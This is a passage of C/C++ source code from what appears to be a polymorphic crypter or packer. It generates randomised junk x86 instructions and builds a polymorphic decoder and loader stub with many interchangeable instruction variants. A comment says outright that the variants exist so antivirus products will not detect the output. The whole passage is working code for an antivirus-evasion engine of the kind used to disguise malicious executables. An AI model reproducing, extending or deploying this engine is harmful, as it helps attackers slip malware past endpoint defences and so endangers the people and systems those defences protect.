  2772. if((141<=LMaxDice)&&(LMaxDice<=142))
  2773. {
  2774. AddAlNum8(AMem,0);
  2775. }else
  2776. if((143<=LMaxDice)&&(LMaxDice<=145))
  2777. {
  2778. FNop(AMem);
  2779. }
  2780. break;
  2781.  
  2782. case 3:
  2783. ThrowTheDice(&LMaxDice,205);
  2784. if((1<=LMaxDice)&&(LMaxDice<=10))
  2785. {
  2786. JmpNum8(AMem,1);
  2787. InsertRandomInstruction(AMem,1,&LXRem);
  2788. }else
  2789. if((11<=LMaxDice)&&(LMaxDice<=20))
  2790. {
  2791. SubReg32Num8Rand(AMem,0);
  2792. }else
  2793. if((21<=LMaxDice)&&(LMaxDice<=30))
  2794. {
  2795. AddReg32Num8Rand(AMem,0);
  2796. }else
  2797. if((31<=LMaxDice)&&(LMaxDice<=40))
  2798. {
  2799. LRegAny=PushReg32Rand(AMem);
  2800. IncReg32(AMem,LRegAny);
  2801. PopReg32(AMem,LRegAny);
  2802. }else
  2803. if((41<=LMaxDice)&&(LMaxDice<=50))
  2804. {
  2805. LRegAny=PushReg32Rand(AMem);
  2806. DecReg32(AMem,LRegAny);
  2807. PopReg32(AMem,LRegAny);
  2808. }else
  2809. if((51<=LMaxDice)&&(LMaxDice<=60))
  2810. {
  2811. CmpRandReg32RandNum8(AMem);
  2812. }else
  2813. if((61<=LMaxDice)&&(LMaxDice<=70))
  2814. {
  2815. TestReg8Num8Rand(AMem);
  2816. }else
  2817. if((71<=LMaxDice)&&(LMaxDice<=80))
  2818. {
  2819. SubReg8Num8Rand(AMem,0);
  2820. }else
  2821. if((81<=LMaxDice)&&(LMaxDice<=90))
  2822. {
  2823. AddReg8Num8Rand(AMem,0);
  2824. }else
  2825. if((91<=LMaxDice)&&(LMaxDice<=100))
  2826. {
  2827. AndReg16Rand(AMem);
  2828. }else
  2829. if((101<=LMaxDice)&&(LMaxDice<=110))
  2830. {
  2831. TestReg16Rand(AMem);
  2832. }else
  2833. if((111<=LMaxDice)&&(LMaxDice<=120))
  2834. {
  2835. OrReg16Rand(AMem);
  2836. }else
  2837. if((121<=LMaxDice)&&(LMaxDice<=130))
  2838. {
  2839. ShlReg32RandNum8FullRand(AMem);
  2840. }else
  2841. if((131<=LMaxDice)&&(LMaxDice<=140))
  2842. {
  2843. ShrReg32RandNum8FullRand(AMem);
  2844. }else
  2845. if((141<=LMaxDice)&&(LMaxDice<=150))
  2846. {
  2847. SalReg32RandNum8FullRand(AMem);
  2848. }else
  2849. if((151<=LMaxDice)&&(LMaxDice<=160))
  2850. {
  2851. SarReg32RandNum8FullRand(AMem);
  2852. }else
  2853. if((161<=LMaxDice)&&(LMaxDice<=170))
  2854. {
  2855. RolReg8RandNum8FullRand(AMem);
  2856. }else
  2857. if((171<=LMaxDice)&&(LMaxDice<=180))
  2858. {
  2859. RorReg8RandNum8FullRand(AMem);
  2860. }else
  2861. if((181<=LMaxDice)&&(LMaxDice<=190))
  2862. {
  2863. RolReg32RandNum8FullRand(AMem);
  2864. }else
  2865. if((191<=LMaxDice)&&(LMaxDice<=200))
  2866. {
  2867. RorReg32RandNum8FullRand(AMem);
  2868. }else
  2869. if((201<=LMaxDice)&&(LMaxDice<=203))
  2870. {
  2871. PushReg32(AMem,REG_EDX);
  2872. Cdq(AMem);
  2873. PopReg32(AMem,REG_EDX);
  2874. }else
  2875. if((204<=LMaxDice)&&(LMaxDice<=205))
  2876. {
  2877. LRegAny=PushReg32Rand(AMem);
  2878. InsertRandomInstruction(AMem,1,&LXRem);
  2879. PopReg32(AMem,LRegAny);
  2880. }
  2881. break;
  2882.  
  2883. case 4:
  2884. ThrowTheDice(&LMaxDice,170);
  2885. if((1<=LMaxDice)&&(LMaxDice<=20))
  2886. {
  2887. JmpNum8(AMem,2);
  2888. InsertRandomInstruction(AMem,2,&LXRem);
  2889. }else
  2890. if((21<=LMaxDice)&&(LMaxDice<=40))
  2891. {
  2892. LRegAny=PushReg32Rand(AMem);
  2893. InsertRandomInstruction(AMem,2,&LXRem);
  2894. PopReg32(AMem,LRegAny);
  2895. }else
  2896. if((41<=LMaxDice)&&(LMaxDice<=50))
  2897. {
  2898. TestAxNum16Rand(AMem);
  2899. }else
  2900. if((51<=LMaxDice)&&(LMaxDice<=60))
  2901. {
  2902. CmpAxNum16Rand(AMem);
  2903. }else
  2904. if((61<=LMaxDice)&&(LMaxDice<=63))
  2905. {
  2906. DoubleXorRand(AMem);
  2907. }else
  2908. if((64<=LMaxDice)&&(LMaxDice<=66))
  2909. {
  2910. DoubleNegRand(AMem);
  2911. }else
  2912. if((67<=LMaxDice)&&(LMaxDice<=70))
  2913. {
  2914. DoubleNotRand(AMem);
  2915. }else
  2916. if((71<=LMaxDice)&&(LMaxDice<=80))
  2917. {
  2918. AddReg16Num8Rand(AMem,0);
  2919. }else
  2920. if((81<=LMaxDice)&&(LMaxDice<=90))
  2921. {
  2922. OrReg16Num8Rand(AMem,0);
  2923. }else
  2924. if((91<=LMaxDice)&&(LMaxDice<=100))
  2925. {
  2926. AndReg16Num8Rand(AMem,0xFF);
  2927. }else
  2928. if((101<=LMaxDice)&&(LMaxDice<=110))
  2929. {
  2930. SubReg16Num8Rand(AMem,0);
  2931. }else
  2932. if((111<=LMaxDice)&&(LMaxDice<=120))
  2933. {
  2934. XorReg16Num8Rand(AMem,0);
  2935. }else
  2936. if((121<=LMaxDice)&&(LMaxDice<=130))
  2937. {
  2938. CmpReg16Num8RandRand(AMem);
  2939. }else
  2940. if((131<=LMaxDice)&&(LMaxDice<=140))
  2941. {
  2942. RolReg16RandNum8FullRand(AMem);
  2943. }else
  2944. if((141<=LMaxDice)&&(LMaxDice<=150))
  2945. {
  2946. RorReg16RandNum8FullRand(AMem);
  2947. }else
  2948. if((151<=LMaxDice)&&(LMaxDice<=155))
  2949. {
  2950. DoubleXchgRand(AMem);
  2951. }else
  2952. if((156<=LMaxDice)&&(LMaxDice<=160))
  2953. {
  2954. LRegAny=PushReg32Rand(AMem);
  2955. MovReg32Reg32Rand(AMem,LRegAny);
  2956. PopReg32(AMem,LRegAny);
  2957. }else
  2958. if((161<=LMaxDice)&&(LMaxDice<=170))
  2959. {
  2960. PushReg32Rand(AMem);
  2961. AddReg32Num8(AMem,REG_ESP,4);
  2962. }
  2963. break;
  2964.  
  2965. case 5:
  2966. ThrowTheDice(&LMaxDice,150);
  2967. if((1<=LMaxDice)&&(LMaxDice<=30))
  2968. {
  2969. JmpNum8(AMem,3);
  2970. InsertRandomInstruction(AMem,3,&LXRem);
  2971. }else
  2972. if((31<=LMaxDice)&&(LMaxDice<=60))
  2973. {
  2974. LRegAny=PushReg32Rand(AMem);
  2975. InsertRandomInstruction(AMem,3,&LXRem);
  2976. PopReg32(AMem,LRegAny);
  2977. }else
  2978. if((61<=LMaxDice)&&(LMaxDice<=70))
  2979. {
  2980. LRegAny=PushReg32Rand(AMem);
  2981. PushNum8Rand(AMem);
  2982. PopReg32(AMem,LRegAny);
  2983. PopReg32(AMem,LRegAny);
  2984. }else
  2985. if((71<=LMaxDice)&&(LMaxDice<=80))
  2986. {
  2987. PushNum8Rand(AMem);
  2988. AddReg32Num8(AMem,REG_ESP,4);
  2989. }else
  2990. if((81<=LMaxDice)&&(LMaxDice<=90))
  2991. {
  2992. AddEaxNum32(AMem,0);
  2993. }else
  2994. if((91<=LMaxDice)&&(LMaxDice<=100))
  2995. {
  2996. OrEaxNum32(AMem,0);
  2997. }else
  2998. if((101<=LMaxDice)&&(LMaxDice<=110))
  2999. {
  3000. AndEaxNum32(AMem,0xFFFFFFFF);
  3001. }else
  3002. if((111<=LMaxDice)&&(LMaxDice<=120))
  3003. {
  3004. SubEaxNum32(AMem,0);
  3005. }else
  3006. if((121<=LMaxDice)&&(LMaxDice<=130))
  3007. {
  3008. XorEaxNum32(AMem,0);
  3009. }else
  3010. if((131<=LMaxDice)&&(LMaxDice<=140))
  3011. {
  3012. CmpEaxNum32Rand(AMem);
  3013. }else
  3014. if((141<=LMaxDice)&&(LMaxDice<=150))
  3015. {
  3016. TestEaxNum32Rand(AMem);
  3017. }
  3018. break;
  3019.  
  3020. case 6:
  3021. ThrowTheDice(&LMaxDice,161);
  3022. if((1<=LMaxDice)&&(LMaxDice<=40))
  3023. {
  3024. JmpNum8(AMem,4);
  3025. InsertRandomInstruction(AMem,4,&LXRem);
  3026. }else
  3027. if((41<=LMaxDice)&&(LMaxDice<=80))
  3028. {
  3029. LRegAny=PushReg32Rand(AMem);
  3030. InsertRandomInstruction(AMem,4,&LXRem);
  3031. PopReg32(AMem,LRegAny);
  3032. }else
  3033. if((81<=LMaxDice)&&(LMaxDice<=90))
  3034. {
  3035. AddReg32RandNum32(AMem,0);
  3036. }else
  3037. if((91<=LMaxDice)&&(LMaxDice<=100))
  3038. {
  3039. OrReg32RandNum32(AMem,0);
  3040. }else
  3041. if((101<=LMaxDice)&&(LMaxDice<=110))
  3042. {
  3043. AndReg32RandNum32(AMem,0xFFFFFFFF);
  3044. }else
  3045. if((111<=LMaxDice)&&(LMaxDice<=120))
  3046. {
  3047. SubReg32RandNum32(AMem,0);
  3048. }else
  3049. if((121<=LMaxDice)&&(LMaxDice<=130))
  3050. {
  3051. XorReg32RandNum32(AMem,0);
  3052. }else
  3053. if((131<=LMaxDice)&&(LMaxDice<=140))
  3054. {
  3055. CmpReg32RandNum32Rand(AMem);
  3056. }else
  3057. if((141<=LMaxDice)&&(LMaxDice<=150))
  3058. {
  3059. TestReg32RandNum32Rand6(AMem);
  3060. }else
  3061. if((151<=LMaxDice)&&(LMaxDice<=161))
  3062. {
  3063. LRegAny=PushReg32Rand(AMem);
  3064. MovReg16Num16Rand(AMem,LRegAny);
  3065. PopReg32(AMem,LRegAny);
  3066. }
  3067. break;
  3068.  
  3069. case 7:
  3070. ThrowTheDice(&LMaxDice,110);
  3071. if((1<=LMaxDice)&&(LMaxDice<=50))
  3072. {
  3073. JmpNum8(AMem,5);
  3074. InsertRandomInstruction(AMem,5,&LXRem);
  3075. }else
  3076. if((51<=LMaxDice)&&(LMaxDice<=100))
  3077. {
  3078. LRegAny=PushReg32Rand(AMem);
  3079. InsertRandomInstruction(AMem,5,&LXRem);
  3080. PopReg32(AMem,LRegAny);
  3081. }else
  3082. if((101<=LMaxDice)&&(LMaxDice<=110))
  3083. {
  3084. LRegAny=PushReg32Rand(AMem);
  3085. MovReg32Num32Rand(AMem,LRegAny);
  3086. PopReg32(AMem,LRegAny);
  3087. }
  3088. break;
  3089.  
  3090. case 8:
  3091. ThrowTheDice(&LMaxDice,120);
  3092. if((1<=LMaxDice)&&(LMaxDice<=60))
  3093. {
  3094. JmpNum8(AMem,6);
  3095. InsertRandomInstruction(AMem,6,&LXRem);
  3096. }else
  3097. if((61<=LMaxDice)&&(LMaxDice<=120))
  3098. {
  3099. LRegAny=PushReg32Rand(AMem);
  3100. InsertRandomInstruction(AMem,6,&LXRem);
  3101. PopReg32(AMem,LRegAny);
  3102. }
  3103. break;
  3104.  
  3105. case 9:
  3106. case 10:
  3107. ThrowTheDice(&LMaxDice,200);
  3108. if((1<=LMaxDice)&&(LMaxDice<=100))
  3109. {
  3110. JmpNum8(AMem,ALength-2);
  3111. InsertRandomInstruction(AMem,ALength-2,&LXRem);
  3112. }else
  3113. if((101<=LMaxDice)&&(LMaxDice<=200))
  3114. {
  3115. LRegAny=PushReg32Rand(AMem);
  3116. InsertRandomInstruction(AMem,ALength-2,&LXRem);
  3117. PopReg32(AMem,LRegAny);
  3118. }
  3119. break;
  3120. }
  3121. if(ALength<11) *ARemaining-=ALength;
  3122. }
  3123. //generates a buffer of instructions that does nothing
  3124. //don't forget that flags are usually changed here
  3125. //and don't use nops
  3126. __stdcall void GenerateRubbishCode(PBYTE AMem,DWORD ASize,DWORD AVirtAddr)
  3127. {
  3128. PBYTE LPB;
  3129. BYTE LReg;
  3130. DWORD LDice,LDecSize,LSize,LAddr;
  3131.  
  3132. LPB=AMem;
  3133. LSize=ASize;
  3134.  
  3135. while(int(LSize)>0)
  3136. {
  3137. ThrowTheDice(&LDice,6); //1-5 generate one small instruction
  3138. //6 generate a full size instruction
  3139.  
  3140. if(LSize<32)LDice=1; //for small bufs use small instructions
  3141. if(AVirtAddr==0) LDice=1; //some extra instructions use this
  3142.  
  3143. #ifdef RUBBISH_NOPS
  3144. LDice=1;
  3145. #endif
  3146. if(LDice<6) //generate a full size instruction
  3147. { //generate small instructions
  3148. ThrowTheDice(&LDice,LSize*100);//001..100 for one byte instructions
  3149. //011..200 for two bytes instructions
  3150. //etc.
  3151. //but you shouldn't use all of them
  3152.  
  3153. #ifdef RUBBISH_NOPS
  3154. LDice=1;
  3155. #endif
  3156. if(LSize==1) LDice=1; //have no other chance
  3157.  
  3158. if((1<=LDice)&&(LDice<=2))
  3159. {
  3160. InsertRandomInstruction(LPB,1,&LSize); //one byte instructions
  3161. }else
  3162. if((101<=LDice)&&(LDice<=104))
  3163. {
  3164. InsertRandomInstruction(LPB,2,&LSize); //two bytes instructions
  3165. }else
  3166. if((201<=LDice)&&(LDice<=208))
  3167. {
  3168. InsertRandomInstruction(LPB,3,&LSize); //three bytes instructions
  3169. }else
  3170. if((301<=LDice)&&(LDice<=316))
  3171. {
  3172. InsertRandomInstruction(LPB,4,&LSize); //four bytes instructions
  3173. }else
  3174. if((401<=LDice)&&(LDice<=432))
  3175. {
  3176. InsertRandomInstruction(LPB,5,&LSize); //five bytes instructions
  3177. }else
  3178. if((501<=LDice)&&(LDice<=564))
  3179. {
  3180. InsertRandomInstruction(LPB,6,&LSize); //six bytes instructions
  3181. }else
  3182. {
  3183. InsertRandomInstruction(LPB,(BYTE)((LDice+99)/100),&LSize); //longer instructions
  3184. }
  3185. }
  3186. else
  3187. {
  3188. //ThrowTheDice(&LDice,100);
  3189. ThrowTheDice(&LDice,63);
  3190. //if(LDice<76) LDecSize=LSize;
  3191. if(LDice<57) LDecSize=LSize;
  3192. else LDecSize=0;
  3193. if((1<=LDice)&&(LDice<=18)) //use rel jump
  3194. {
  3195. RelJmpAddr32(LPB,LSize-5); //5 jump
  3196. PutRandomBuffer(LPB,LSize-5);
  3197. }else
  3198. if((19<=LDice)&&(LDice<=37)) //use rel call
  3199. {
  3200. LReg=PushReg32Rand(LPB);
  3201. ThrowTheDice(&LDice);
  3202. if(LDice>3) LAddr=LSize-8; //1 push, 5 call, 1 pop, 1 pop
  3203. else LAddr=LSize-10; //1 push, 5 call, 3 add, 1 pop
  3204.  
  3205. RelCallAddr(LPB,LAddr);
  3206. PutRandomBuffer(LPB,LAddr);
  3207. if(LDice>3) PopReg32(LPB,LReg);
  3208. else AddReg32Num8(LPB,REG_ESP,4);
  3209. PopReg32(LPB,LReg);
  3210. }else
  3211. /* this code can't be use for dll, because we do need relocations for it
  3212. maybe in future we'll add relocations for this code
  3213. if((38<=LDice)&&(LDice<=56)) //use reg jmp
  3214. {
  3215. LReg=PushReg32Rand(LPB);
  3216. ThrowTheDice(&LDice);
  3217. LAddr=AVirtAddr+ASize-1; //1 pop
  3218. //use ASize cuz of not rel jmp
  3219. if(LDice>3)
  3220. {
  3221. MovReg32Num32(LPB,LReg,LAddr);
  3222. LAddr=LSize-9; //1 push, 5 mov, 2 jmp, 1 pop
  3223. }
  3224. else
  3225. {
  3226. PushNum32(LPB,LAddr);
  3227. PopReg32(LPB,LReg);
  3228. LAddr=LSize-10; //1 push, 5 push, 1 pop, 2 jmp, 1 pop
  3229. }
  3230. JmpReg32(LPB,LReg);
  3231. PutRandomBuffer(LPB,LAddr);
  3232. PopReg32(LPB,LReg);
  3233. }else
  3234. if((57<=LDice)&&(LDice<=75)) //use reg call
  3235. {
  3236. LReg=PushReg32Rand(LPB);
  3237. ThrowTheDice(&LDice,8); //1,2 - push,mov,call,pop,pop
  3238. //3,4 - push,mov,call,add,pop
  3239. //5,6 - push,push,pop,call,pop,pop
  3240. //7,8 - push,push,pop,call,add,pop
  3241.  
  3242. switch(LDice)
  3243. {
  3244. case 1:
  3245. case 2:
  3246. case 5:
  3247. case 6:
  3248. LAddr=AVirtAddr+ASize-2; //1 pop, 1 pop
  3249. break;
  3250. default:
  3251. LAddr=AVirtAddr+ASize-4; //1 pop, 3 add
  3252. }
  3253.  
  3254. if(LDice<5)
  3255. {
  3256. MovReg32Num32(LPB,LReg,LAddr);
  3257. if(LDice<3) LAddr=LSize-10; //1 push, 5 mov, 2 call, 1 pop, 1 pop
  3258. else LAddr=LSize-12; //1 push, 5 mov, 2 call, 3 add, 1 pop
  3259. }
  3260. else
  3261. {
  3262. PushNum32(LPB,LAddr);
  3263. PopReg32(LPB,LReg);
  3264. if(LDice<7)LAddr=LSize-11; //1 push, 5 push, 1 pop, 2 call, 1 pop, 1 pop
  3265. else LAddr=LSize-13; //1 push, 5 push, 1 pop, 2 call, 3 add, 1 pop
  3266. }
  3267. CallReg32(LPB,LReg);
  3268. PutRandomBuffer(LPB,LAddr);
  3269. switch(LDice)
  3270. {
  3271. case 1:
  3272. case 2:
  3273. case 5:
  3274. case 6:
  3275. PopReg32(LPB,LReg);
  3276. break;
  3277. default:
  3278. AddReg32Num8(LPB,REG_ESP,4);
  3279. }
  3280. PopReg32(LPB,LReg);
  3281. }else
  3282. */
  3283. // if((76<=LDice)&&(LDice<=94)) //use loop + jeczx
  3284. if((38<=LDice)&&(LDice<=56)) //use loop + jeczx
  3285. {
  3286. if((LSize-3)<0x7D) LAddr=LSize-4;
  3287. else LAddr=0x7C;
  3288. LAddr=Random(LAddr)+2;
  3289. LoopNum8(LPB,(BYTE)LAddr);
  3290. JecxzNum8(LPB,(BYTE)LAddr-2);
  3291. PutRandomBuffer(LPB,LAddr-2);
  3292. IncReg32(LPB,REG_ECX);
  3293. LDecSize=LAddr+3;
  3294. }else
  3295. //if((95<=LDice)&&(LDice<=100)) //use back loop
  3296. if((57<=LDice)&&(LDice<=63)) //use back loop
  3297. {
  3298. if(LSize-7<0x7D) LAddr=LSize-7;
  3299. else LAddr=0x75;
  3300. LAddr=Random(LAddr)+3;
  3301. PushReg32(LPB,REG_ECX);
  3302. MovzxEcxCl(LPB); //don't wanna wait if ecx = 0
  3303. GenerateRubbishCode(LPB,LAddr-3,0);
  3304. LPB+=LAddr-3;
  3305. LoopNum8(LPB,(BYTE)(0xFE-(BYTE)LAddr));
  3306. PopReg32(LPB,REG_ECX);
  3307.  
  3308. LDecSize=LAddr+4;
  3309. }
  3310. LSize-=LDecSize;
  3311. }
  3312. }
  3313. }
  3314. //----------------------------------------------------------------------------------
  3315. /*procedure GenerateInitCode(ACodePtr,AKeyPtr,AData1Ptr,ASize1,AData2Ptr,ASize2,ADynLoadAddr,
  3316. AMainPtr,AEntryPointAddr,AImpThunk:Cardinal);*/
  3317. //this is the POLY-decoder and loader
  3318. //see the end of this function to know what it finally does
  3319. //don't forget to fixup pointers of some instructions
  3320. //add more variants for each instruction if you think antivirus still get this
  3321.  
  3322.  
  3323. typedef struct _POLY_CONTEXT{
  3324. BYTE DataSizeRegister;
  3325. BYTE DataAddrRegister;
  3326. BYTE EipRegister;
  3327. BYTE KeyAddrRegister;
  3328. BYTE KeyBytesRegister;
  3329. BYTE FreeRegisters[2];
  3330. }POLY_CONTEXT, *PPOLY_CONTEXT;
  3331.  
  3332. VAR_INSTRUCTION LInitInstr[InitInstrCount];
  3333. DWORD LVirtAddr,LRubbishSize,LDelta,LDelta2,LRemaining,LCodeStart,LEIPSub;
  3334. PBYTE LPB;
  3335. POLY_CONTEXT PolyContext;
  3336. #ifndef STATIC_CONTEXT
  3337. BOOL LRegUsed[Reg32Count];
  3338. int LNotUsed;
  3339. BYTE LReg;
  3340. #endif
  3341. //returns pointer on instruction
  3342. PBYTE InstructionAddress(DWORD AInstruction)
  3343. {
  3344. return((PBYTE)(InitData+LInitInstr[AInstruction].VirtualAddress-LCodeStart));
  3345. }
  3346.  
  3347. //returns relative delta between two instructions for call
  3348. DWORD CallAddress(DWORD AFromInstruction,DWORD AToInstruction)
  3349. {
  3350. return(LInitInstr[AToInstruction].VirtualAddress
  3351. -(LInitInstr[AFromInstruction].VirtualAddress+5));
  3352. }
  3353.  
  3354. //returns relative delta between two instructions for conditional jump
  3355. DWORD JcxAddress(DWORD AFromInstruction,DWORD AToInstruction)
  3356. {
  3357. return(LInitInstr[AToInstruction].VirtualAddress
  3358. -(LInitInstr[AFromInstruction].VirtualAddress+6));
  3359. }
  3360.  
  3361. DWORD InsVAddr(DWORD AInstr)
  3362. {
  3363. return(LInitInstr[AInstr].VirtualAddress);
  3364. }
  3365.  
  3366. BYTE InsFix1(DWORD AInstr)
  3367. {
  3368. return(LInitInstr[AInstr].Vars[LInitInstr[AInstr].Index].Fix1);
  3369. }
  3370.  
  3371. BYTE InsFix2(DWORD AInstr)
  3372. {
  3373. return(LInitInstr[AInstr].Vars[LInitInstr[AInstr].Index].Fix2);
  3374. }
  3375.  
  3376. BYTE InsFix3(DWORD AInstr)
  3377. {
  3378. return(LInitInstr[AInstr].Vars[LInitInstr[AInstr].Index].Fix3);
  3379. }
  3380.  
  3381. BYTE InsFix4(DWORD AInstr)
  3382. {
  3383. return(LInitInstr[AInstr].Vars[LInitInstr[AInstr].Index].Fix4);
  3384. }
  3385.  
  3386. void FixInstr(DWORD AInstr,DWORD AFix1,DWORD AFix2=DWORD(-1))
  3387. {
  3388. if(InsFix1(AInstr)!=BYTE(-1))
  3389. {
  3390. LPB=InstructionAddress(AInstr);
  3391. LPB+=InsFix1(AInstr);
  3392. memcpy(LPB,&AFix1,4);
  3393. }
  3394. if((InsFix2(AInstr)!=BYTE(-1))&&(AFix2!=DWORD(-1)))
  3395. {
  3396. LPB=InstructionAddress(AInstr);
  3397. LPB+=InsFix2(AInstr);
  3398. memcpy(LPB,&AFix2,4);
  3399. }
  3400. }
  3401. //-------------------------------------------
  3402. //procedure GeneratePolyInstruction(AInstruction,ARegister:Byte);
  3403. #ifdef STATIC_CONTEXT
  3404. BYTE LReg;
  3405. #endif
  3406. BYTE LFreeReg,LFreeRegOther,LAnyReg;
  3407.  
  3408. BYTE CtxFreeReg()
  3409. {
  3410. BYTE LIdx;
  3411. LIdx=(BYTE)Random(10) % 2;
  3412. LFreeReg=PolyContext.FreeRegisters[LIdx];
  3413. LFreeRegOther=PolyContext.FreeRegisters[(LIdx+1) % 2];
  3414. return(LFreeReg);
  3415. }
  3416.  
  3417. BYTE CtxAnyRegEsp()
  3418. {
  3419. LAnyReg=RandomReg32Esp();
  3420. return(LAnyReg);
  3421. }
  3422.  
  3423. void GeneratePolyInstruction(BYTE AInstruction,BYTE ARegister)
  3424. {
  3425. PBYTE LPB;
  3426. switch(AInstruction)
  3427. {
  3428. case PII_POLY_PUSHAD:
  3429. LInitInstr[AInstruction].Count=2;
  3430. LInitInstr[AInstruction].Vars[0].Len=1;
  3431. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3432. Pushad(LPB);
  3433. LInitInstr[AInstruction].Vars[1].Len=8;
  3434. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3435. PushReg32(LPB,REG_EAX);
  3436. PushReg32(LPB,REG_ECX);
  3437. PushReg32(LPB,REG_EDX);
  3438. PushReg32(LPB,REG_EBX);
  3439. LInitInstr[AInstruction].Vars[1].Len+=LeaReg32Reg32MemIdx8(LPB,REG_EAX,REG_ESP,0x10);
  3440. PushReg32(LPB,REG_EAX);
  3441. PushReg32(LPB,REG_EBP);
  3442. PushReg32(LPB,REG_ESI);
  3443. PushReg32(LPB,REG_EDI);
  3444. break;
  3445.  
  3446. case PII_POLY_MOV_REG_LOADER_SIZE:
  3447. case PII_POLY_MOV_REG_LOADER_ADDR:
  3448. case PII_CODER_MOV_REG_KEY:
  3449. LInitInstr[AInstruction].Count=4;
  3450. LInitInstr[AInstruction].Vars[0].Len=5;
  3451. LInitInstr[AInstruction].Vars[0].Fix1=1;
  3452. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3453. MovReg32Num32(LPB,ARegister,0x12345678);
  3454.  
  3455. LInitInstr[AInstruction].Vars[1].Len=6;
  3456. LInitInstr[AInstruction].Vars[1].Fix1=1;
  3457. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3458. PushNum32(LPB,0x12345678);
  3459. PopReg32(LPB,ARegister);
  3460.  
  3461. LInitInstr[AInstruction].Vars[2].Len=5;
  3462. LInitInstr[AInstruction].Vars[2].Fix1=1;
  3463. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3464. MovReg32Num32(LPB,CtxFreeReg(),0x12345678);
  3465. LInitInstr[AInstruction].Vars[2].Len+=XchgReg32Reg32(LPB,LFreeReg,ARegister);
  3466.  
  3467. LInitInstr[AInstruction].Vars[3].Len=6;
  3468. LInitInstr[AInstruction].Vars[3].Fix1=2;
  3469. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code[0];
  3470. LeaReg32Addr32(LPB,ARegister,0x12345678);
  3471. break;
  3472.  
  3473. case PII_POLY_JMP_DYNLOADER:
  3474. LInitInstr[AInstruction].Count=3;
  3475. LInitInstr[AInstruction].Vars[0].Len=5;
  3476. LInitInstr[AInstruction].Vars[0].Fix1=1;
  3477. LInitInstr[AInstruction].Vars[0].Fix2=0;
  3478. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3479. RelJmpAddr32(LPB,0x12345678);
  3480.  
  3481. LInitInstr[AInstruction].Vars[1].Len=8;
  3482. LInitInstr[AInstruction].Vars[1].Fix1=4;
  3483. LInitInstr[AInstruction].Vars[1].Fix2=3;
  3484. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3485. LReg=RandomReg32Esp();
  3486. XorReg32Reg32(LPB,LReg,LReg);
  3487. RelJzAddr32(LPB,0x12345678);
  3488.  
  3489. LInitInstr[AInstruction].Vars[2].Len=7;
  3490. LInitInstr[AInstruction].Vars[2].Fix1=3;
  3491. LInitInstr[AInstruction].Vars[2].Fix2=2;
  3492. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3493. DecReg32(LPB,PolyContext.EipRegister);
  3494. RelJnzAddr32(LPB,0x12345678);
  3495. break;
  3496.  
  3497. case PII_CODER_CALL_GET_EIP:
  3498. LInitInstr[AInstruction].Count=4;
  3499. LInitInstr[AInstruction].Vars[0].Len=5;
  3500. LInitInstr[AInstruction].Vars[0].Fix1=1;
  3501. LInitInstr[AInstruction].Vars[0].Fix2=0;
  3502. LInitInstr[AInstruction].Vars[0].Fix3=5;
  3503. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3504. RelCallAddr(LPB,0x12345678);
  3505.  
  3506. LInitInstr[AInstruction].Vars[1].Len=12;
  3507. LInitInstr[AInstruction].Vars[1].Fix1=3;
  3508. LInitInstr[AInstruction].Vars[1].Fix2=2;
  3509. LInitInstr[AInstruction].Vars[1].Fix3=12;
  3510. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3511. RelJmpAddr8(LPB,5);
  3512. RelJmpAddr32(LPB,0x12345678);
  3513. RelCallAddr(LPB,DWORD(-10));
  3514.  
  3515. LInitInstr[AInstruction].Vars[2].Len=5;
  3516. LInitInstr[AInstruction].Vars[2].Fix1=BYTE(-1);
  3517. LInitInstr[AInstruction].Vars[2].Fix2=BYTE(-1);
  3518. LInitInstr[AInstruction].Vars[2].Fix3=5;
  3519. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3520. RelCallAddr(LPB,0);
  3521.  
  3522. LInitInstr[AInstruction].Vars[3].Len=9;
  3523. LInitInstr[AInstruction].Vars[3].Fix1=BYTE(-1);
  3524. LInitInstr[AInstruction].Vars[3].Fix2=BYTE(-1);
  3525. LInitInstr[AInstruction].Vars[3].Fix3=9;
  3526. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3527. RelJmpAddr8(LPB,2);
  3528. RelJmpAddr8(LPB,5);
  3529. RelCallAddr(LPB,DWORD(-7));
  3530. break;
  3531.  
  3532. case PII_CODER_GET_EIP:
  3533. LInitInstr[AInstruction].Count=4;
  3534. LInitInstr[AInstruction].Vars[0].Len=1;
  3535. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3536. PopReg32(LPB,ARegister);
  3537.  
  3538. LInitInstr[AInstruction].Vars[1].Len=3;
  3539. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[1].Code;
  3540. LInitInstr[AInstruction].Vars[1].Len+=MovReg32RegMem(LPB,ARegister,REG_ESP);
  3541. AddReg32Num8(LPB,REG_ESP,4);
  3542.  
  3543. LInitInstr[AInstruction].Vars[2].Len=3;
  3544. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[2].Code;
  3545. AddReg32Num8(LPB,REG_ESP,4);
  3546. LInitInstr[AInstruction].Vars[2].Len+=MovReg32RegMemIdx8(LPB,ARegister,REG_ESP,BYTE(-4));
  3547.  
  3548. LInitInstr[AInstruction].Vars[3].Len=4;
  3549. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[3].Code;
  3550. LInitInstr[AInstruction].Vars[3].Len+=MovReg32RegMem(LPB,ARegister,REG_ESP);
  3551. IncReg32(LPB,REG_ESP);
  3552. IncReg32(LPB,REG_ESP);
  3553. IncReg32(LPB,REG_ESP);
  3554. IncReg32(LPB,REG_ESP);
  3555. break;
  3556.  
  3557. case PII_CODER_FIX_DST_PTR:
  3558. case PII_CODER_FIX_SRC_PTR:
  3559. LInitInstr[AInstruction].Count=4;
  3560. LInitInstr[AInstruction].Vars[0].Len=2;
  3561. LPB=(PBYTE)&LInitInstr[AInstruction].Vars[0].Code;
  3562. AddReg32Reg32(LPB,ARegister,PolyContext.EipRegister);
